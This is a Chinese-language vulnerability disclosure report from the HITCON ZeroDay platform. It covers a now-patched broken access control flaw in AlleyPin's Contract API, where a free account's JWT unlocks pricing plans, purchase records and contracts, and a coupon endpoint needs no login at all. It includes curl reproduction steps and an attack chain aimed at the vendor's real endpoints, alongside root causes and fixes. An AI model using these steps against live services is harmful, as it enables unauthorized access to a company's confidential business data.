Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00382
- Vendor: 翔評互動股份有限公司
- Title: AlleyPin 翔評互動 API 未授權存取 — 完整商業數據洩漏(方案定價、客戶合約、購買紀錄)
- Introduction: API 存在未授權存取漏洞,攻擊者只需在另一個網址註冊帳號,即可取得 JWT Token,進而存取完整的商業資訊。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2026/03/22 13:12:45 : 新提交 (由 Marco 更新此狀態)
- 2026/03/22 13:50:33 : 新提交 (由 Marco 更新此狀態)
- 2026/03/25 14:29:58 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/03/26 19:30:01 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/03/26 19:30:01 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/03/26 19:30:01 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/11 17:54:04 : 新提交 (由 Marco 更新此狀態)
- 2026/05/14 10:55:22 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/05/18 06:17:32 : 新提交 (由 Marco 更新此狀態)
- 2026/05/18 14:02:56 : 新提交 (由 Marco 更新此狀態)
- 2026/05/19 12:13:17 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/05/26 10:27:10 : 確認已修補 (由 Marco 更新此狀態)
- 2026/05/27 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00382
- 通報者:mlgzackfly (Marco)
- 風險:高
- 類型:存取控制缺陷 (Broken Access Control)
參考資料
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
相關網址
https://pinmed.alleypinapis.com/login
https://contract.alleypinapis.com/programs
https://contract.alleypinapis.com/purchases
https://contract.alleypinapis.com/contracts/{id}
https://contract.alleypinapis.com/coupons
敘述
漏洞描述
AlleyPin 的 Contract API 使用共用的 JWT signing key 進行認證,導致 PinMed Suite 的一般免費使用者 token 被 Contract 服務接受。Contract API 未驗證 JWT 的 audience 或角色,任何持有有效 JWT 的人(包含免費帳號)都能存取完整的商業資料。
另外,/coupons 端點完全不需要任何認證,即可直接存取內部折扣碼資料。
重現步驟
Step 1:在 admin.pinmed.co 免費註冊帳號
前往 https://admin.pinmed.co/account/register,填寫 email 與密碼即可完成註冊。無需任何驗證、付費或診所綁定。
Step 2:取得 JWT Token(有效期 90 天)
curl -X POST https://pinmed.alleypinapis.com/login \
-H "Content-Type: application/json" \
-d '{"Username":"[email protected]","Password":"your_password"}'
注意:JWT 有效期為 90 天,clients 為空陣列(未綁定任何診所),role 為 user。
Step 3:取得完整定價方案
curl -s -H "Authorization: Bearer $JWT" \
https://contract.alleypinapis.com/programs \
| python3 -m json.tool | jq
Step 4:取得所有客戶購買紀錄
curl -H "Authorization: Bearer {JWT}" \
https://contract.alleypinapis.com/purchases
Step 5:透過 contractId 取得完整合約詳情
curl -H "Authorization: Bearer {JWT}" \
https://contract.alleypinapis.com/contracts/{contract_uuid}
透過 programIds 對照 ZD-2026-00331 的方案列表,可得知該客戶購買的方案類型、價格與續約資訊。
實測結果
| 端點 | 資料量 | 認證需求 |
|---|---|---|
| /programs | 逾百個定價方案 | 免費帳號 JWT |
| /purchases | 上千筆購買紀錄 | 免費帳號 JWT |
| /contracts/{id} | 完整合約詳情 | 免費帳號 JWT |
| /coupons | 逾百個折扣碼 | 無需認證 |
合約資料範例(已關聯方案名稱)
| 購買日期 | 客戶 ID | 合約狀態 | 方案 | 金額 |
|---|---|---|---|---|
| 2024-04-18 | c68a4570-... | AVAILABLE | PinMed 旗下產品方案 A(設定費) | [已遮蔽] TWD |
| 2024-04-18 | 7e8a6f00-... | CANCELED | PinMed 旗下產品方案 B(折扣方案) | [已遮蔽] TWD |
| 2024-04-18 | 35707920-... | AVAILABLE | 某客戶專屬優惠方案 | [已遮蔽] TWD |
第三筆方案名稱可直接識別特定客戶,因此已於公開版本中進行匿名化處理。
完整攻擊鏈
admin.pinmed.co/account/register (免費註冊)
→ pinmed.alleypinapis.com/login (取得 JWT, 90天有效)
↓
contract.alleypinapis.com/programs (逾百個定價方案)
→ 完整定價策略:產品名稱、價格、期程、方案類型
↓
contract.alleypinapis.com/purchases (上千筆購買紀錄)
→ 每筆含 contractIds
↓
contract.alleypinapis.com/contracts/{contract_uuid} (合約詳情)
→ clientId + programIds + couponIds + status + renewDate
↓
對照 programIds → 方案名稱 + 價格
→ 得知「哪個客戶、購買哪些方案、對應價格與續約資訊」
根本原因
-
跨服務 JWT 驗證缺失
PinMed Suite login 與 Contract API 共用 JWT signing key,且 Contract API 未驗證 audience / role。 -
JWT 有效期過長
Token 有效期為 90 天,風險窗口過大(一般建議為數小時至 1 天)。 -
/coupons缺少認證控制
該端點未設置任何身份驗證或授權檢查。 -
缺少最小權限原則(Least Privilege)
免費帳號 token(role=user,clients=[])仍可存取完整商業資料。
修補建議
1. 立即: Contract API 所有端點加入角色驗證,僅允許管理員存取
2. 立即: /coupons 端點加入認證
3. 短期: JWT 加入 audience (aud) 驗證,PinMed Suite token 不應被 Contract 服務接受
4. 短期: 縮短 JWT 有效期至合理範圍(建議 24 小時內)
5. 中期: 不同服務使用不同的 JWT signing key,實施服務間的認證隔離